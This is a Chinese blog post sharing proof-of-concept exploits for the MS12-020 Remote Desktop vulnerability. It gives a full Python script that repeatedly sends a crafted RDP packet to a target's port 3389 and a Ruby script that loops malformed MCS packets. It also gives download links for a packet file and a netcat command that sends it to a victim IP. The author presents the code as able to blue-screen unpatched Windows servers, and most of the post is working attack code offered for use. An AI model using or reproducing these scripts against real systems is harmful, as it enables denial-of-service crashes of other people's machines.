- A+
所属分类:漏洞分享
这几天3389远程桌面漏洞传得沸沸扬扬,补丁刚刚一出来就无数所谓的黑客在东奔西走四处各种求利用工具,求poc。却很少人真正静下心来研究一下漏洞的原理等等,让人觉得很搞笑,大概都是社交型的吧。也出现了不少假的poc,目前为止我发现下面这个python版的修补版能导致2003的蓝屏,而且要反复发送,不能一次成功,因此分享给大家。有人说这个蓝屏跟MS11-050有关。不管最后能不能执行命令,至少能蓝屏吧,嘿嘿。我想真正通杀的poc很难再短时间内出来,大多是借这次事件炒作的多,天朝不管哪个行业都是这样,浮躁得很,真正肯做事的人少。
贴个官方公告补丁地址:http://technet.microsoft.com/zh-cn/security/bulletin/ms12-020
3月17日,增加一个直接使用mc提交版的poc,下载地址:
http://aluigi.org/poc/termdd_1.dat
http://www.exploit-db.com/sploits/18606.dat
使用方法:
nc IP 3389 < termdd_1.dat
报错的话,把前面的几行注释删掉就行了,使用格式为直接空格加IP地址。
#!/usr/bin/env python # ms12-020 "chinese shit" PoC v2 (wireshark版) # 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用 # Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步 # BlackBap.Org # Win7_x64_sp1/Win_xp_sp3 bug修正 添加time.sleep # Silic Group Hacker Army import socket import sys buf="" buf+="\x03\x00\x00\x13\x0e\xe0\x00\x00" buf+="\x00\x00\x00\x01\x00\x08\x00\x00" buf+="\x00\x00\x00\x03\x00\x01\xd6\x02" buf+="\xf0\x80\x7f\x65\x82\x01\x94\x04" buf+="\x01\x01\x04\x01\x01\x01\x01\xff" buf+="\x30\x19\x02\x04\x00\x00\x00\x00" buf+="\x02\x04\x00\x00\x00\x02\x02\x04" buf+="\x00\x00\x00\x00\x02\x04\x00\x00" buf+="\x00\x01\x02\x04\x00\x00\x00\x00" buf+="\x02\x04\x00\x00\x00\x01\x02\x02" buf+="\xff\xff\x02\x04\x00\x00\x00\x02" buf+="\x30\x19\x02\x04\x00\x00\x00\x01" buf+="\x02\x04\x00\x00\x00\x01\x02\x04" buf+="\x00\x00\x00\x01\x02\x04\x00\x00" buf+="\x00\x01\x02\x04\x00\x00\x00\x00" buf+="\x02\x04\x00\x00\x00\x01\x02\x02" buf+="\x04\x20\x02\x04\x00\x00\x00\x02" buf+="\x30\x1c\x02\x02\xff\xff\x02\x02" buf+="\xfc\x17\x02\x02\xff\xff\x02\x04" buf+="\x00\x00\x00\x01\x02\x04\x00\x00" buf+="\x00\x00\x02\x04\x00\x00\x00\x01" buf+="\x02\x02\xff\xff\x02\x04\x00\x00" buf+="\x00\x02\x04\x82\x01\x33\x00\x05" buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00" buf+="\x08\x00\x10\x00\x01\xc0\x00\x44" buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8" buf+="\x00\x04\x00\x08\x00\x80\x02\xe0" buf+="\x01\x01\xca\x03\xaa\x09\x04\x00" buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f" buf+="\x00\x53\x00\x54\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x04\x00\x00" buf+="\x00\x00\x00\x00\x00\x0c\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x01\xca\x01\x00\x00\x00\x00" buf+="\x00\x10\x00\x07\x00\x01\x00\x30" buf+="\x00\x30\x00\x30\x00\x30\x00\x30" buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" buf+="\x00\x30\x00\x30\x00\x30\x00\x30" buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" buf+="\x00\x30\x00\x30\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c" buf+="\x00\x0d\x00\x00\x00\x00\x00\x00" buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00" buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c" buf+="\x00\x03\x00\x00\x00\x72\x64\x70" buf+="\x64\x72\x00\x00\x00\x00\x00\x80" buf+="\x80\x63\x6c\x69\x70\x72\x64\x72" buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70" buf+="\x73\x6e\x64\x00\x00\x00\x00\x00" buf+="\xc0\x03\x00\x00\x0c\x02\xf0\x80" buf+="\x04\x01\x00\x01\x00\x03\x00\x00" buf+="\x08\x02\xf0\x80\x28\x03\x00\x00" buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03" buf+="\xef\x03\x00\x00\x0c\x02\xf0\x80" buf+="\x38\x00\x06\x03\xeb\x03\x00\x00" buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03" buf+="\xec\x03\x00\x00\x0c\x02\xf0\x80" buf+="\x38\x00\x06\x03\xed\x03\x00\x00" buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03" buf+="\xee\x03\x00\x00\x0b\x06\xd0\x00" buf+="\x00\x12\x34\x00" HOST = sys.argv[1] PORT = 3389 for i in range(1000): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST,PORT)) print "sending: %d bytes" % len(buf) s.send(buf) rec = s.recv(100) print "received: %d bytes" % len(rec) s.close()
再分享一个ruby版的,我自己没有测试成功过。
#!/usr/bin/env ruby # ms12-020 PoC # NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题 # Author: Joshua J. Drake(jduck) # From: BlackBap.Org # Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步 require 'socket' def send_tpkt(sd, data) sd.write(make_tpkt(data)) end def make_tpkt(data) [ 3, # version 0, # reserved 4 + data.length ].pack('CCn') + data end def make_x224(data) [ data.length ].pack('C') + data end def make_rdp(type, flags, data) [ type, flags, 4 + data.length ].pack('CCv') + data end host = ARGV.shift sd = TCPSocket.new(host, 3389) pkts1 = [] # craft connection request rdp = make_rdp(1, 0, [ 0 ].pack('V')) x224_1 = make_x224([ 0xe0, # Connection request 0, # ?? 0, # SRC-REF 0 # Class : Class 0 ].pack('CnnC') + rdp) pkts1 << make_tpkt(x224_1) # craft connect-initial x224_2 = make_x224([ 0xf0, # Data / Class 0 0x80 # EOT: True / NR: 0 ].pack('CC')) # mcsCi target_params = ""+ #"\x02\x01\x00"+ # maxChannelIds "\x02\x04\x00\x00\x00\x22"+ # maxChannelIds "\x02\x04\x00\x00\x00\x0a"+ # maxUserIds "\x02\x04\x00\x00\x00\x00"+ # maxTokenIds "\x02\x04\x00\x00\x00\x01"+ # numPriorities "\x02\x04\x00\x00\x00\x00"+ # minThroughput "\x02\x04\x00\x00\x00\x01"+ # maxHeight "\x02\x02\xff\xff"+ # maxMCSPDUSize "\x02\x04\x00\x00\x00\x02" # protocolVersion min_params = ""+ "\x02\x04\x00\x00\x00\x01"+ # maxChannelIds "\x02\x04\x00\x00\x00\x01"+ # maxUserIds "\x02\x04\x00\x00\x00\x01"+ # maxTokenIds "\x02\x04\x00\x00\x00\x01"+ # numPriorities "\x02\x04\x00\x00\x00\x00"+ # minThroughput "\x02\x04\x00\x00\x00\x01"+ # maxHeight "\x02\x02\x04\x20"+ # maxMCSPDUSize "\x02\x04\x00\x00\x00\x02" # protocolVersion max_params = ""+ "\x02\x02\xff\xff"+ # maxChannelIds "\x02\x02\xfc\x17"+ # maxUserIds "\x02\x02\xff\xff"+ # maxTokenIds "\x02\x04\x00\x00\x00\x01"+ # numPriorities "\x02\x04\x00\x00\x00\x00"+ # minThroughput "\x02\x04\x00\x00\x00\x01"+ # maxHeight "\x02\x02\xff\xff"+ # maxMCSPDUSize "\x02\x04\x00\x00\x00\x02" # protocolVersion userdata = ""+ # gccCCrq "\x00\x05\x00\x14"+ "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+ # clientCoreData "\x01\xc0"+"\xd8\x00"+ # header (type, len) "\x04\x00"+"\x08\x00"+ # version "\x80\x02"+ # desktop width "\xe0\x01"+ # desktop height "\x01\xca"+ # color depth "\x03\xaa"+ # SASSequence "\x09\x04\x00\x00" + # keyboard layout "\xce\x0e\x00\x00" + # client build number # client name "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x04\x00\x00\x00"+ # keyboard type "\x00\x00\x00\x00"+ # kbd subType "\x0c\x00\x00\x00"+ # kbd FuncKey # imeFileName "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x01\xca"+ # postBeta2ColorDepth "\x01\x00"+ # clientProductId "\x00\x00\x00\x00" + # serialNumber "\x10\x00"+ # highColorDepth "\x07\x00"+ # supportedColorDepths "\x01\x00"+ # earlyCapabilityFlags # clientDigProductId -poc has: "00000-000-0000000-00000" "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+ "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+ "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00"+ # connectionType "\x00"+ # pad1octet "\x00\x00\x00\x00"+ # serverSelectedProtocol "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth "\x0d\x00\x00\x00"+ # desktopPhysicalHeight "\x00\x00\x00\x00"+ # reserved # clientSecurityData "\x02\xc0"+"\x0c\x00"+ # header (type, len) "\x1b\x00\x00\x00"+ # encryptionMethods "\x00\x00\x00\x00"+ # extEncryptionMethods # clientNetworkData "\x03\xc0"+"\x2c\x00"+ # header (type, len) "\x03\x00\x00\x00"+ # channel count! # channel 0 "rdpdr\x00\x00\x00"+ # name "\x00\x00\x80\x80"+ # options # channel 1 "cliprdr\x00"+ # name "\x00\x00\xa0\xc0"+ # options # channel 2 "rdpsnd\x00\x00"+ # name "\x00\x00\x00\xc0" # options # clientClusterData (not present) # clientMonitorData (not present) mcs_data = ""+ "\x04\x01\x01"+ # callingDomainSelector "\x04\x01\x01"+ # calledDomainSelector "\x01\x01\xff"+ # upwardFlag #"\x30" + [ target_params.length ].pack('C') + target_params + #"\x30" + [ min_params.length ].pack('C') + min_params + #"\x30" + [ max_params.length ].pack('C') + max_params + "\x30" + [ 0x19 ].pack('C') + target_params + "\x30" + [ 0x19 ].pack('C') + min_params + "\x30" + [ 0x1c ].pack('C') + max_params + # userData "\x04\x82" + [ userdata.length ].pack('n') + userdata #mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n') # connect-initial (0x65 / 101), length mcs = "\x7f\x65\x82" + [ 0x194 ].pack('n') # connect-initial (0x65 / 101), length mcs << mcs_data pkts1 << make_tpkt(x224_2 + mcs) # send a special one? pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00") # send more pkts! - based on poc 10.times { pkts1 << make_tpkt(x224_2 + "\x28") } pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea") pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb") pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec") pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed") pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee") pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0") pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1") pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2") pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3") pkts1 << make_tpkt(x224_2 + "\x21\x80") bigpkt = pkts1.join('') loop { sd.write(bigpkt) send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01") send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02") send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03") send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04") # read connect-initial response buf = sd.recv(1500) # XXX: TODO: check response =) #puts buf } sd.close # BlackBap.Org
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫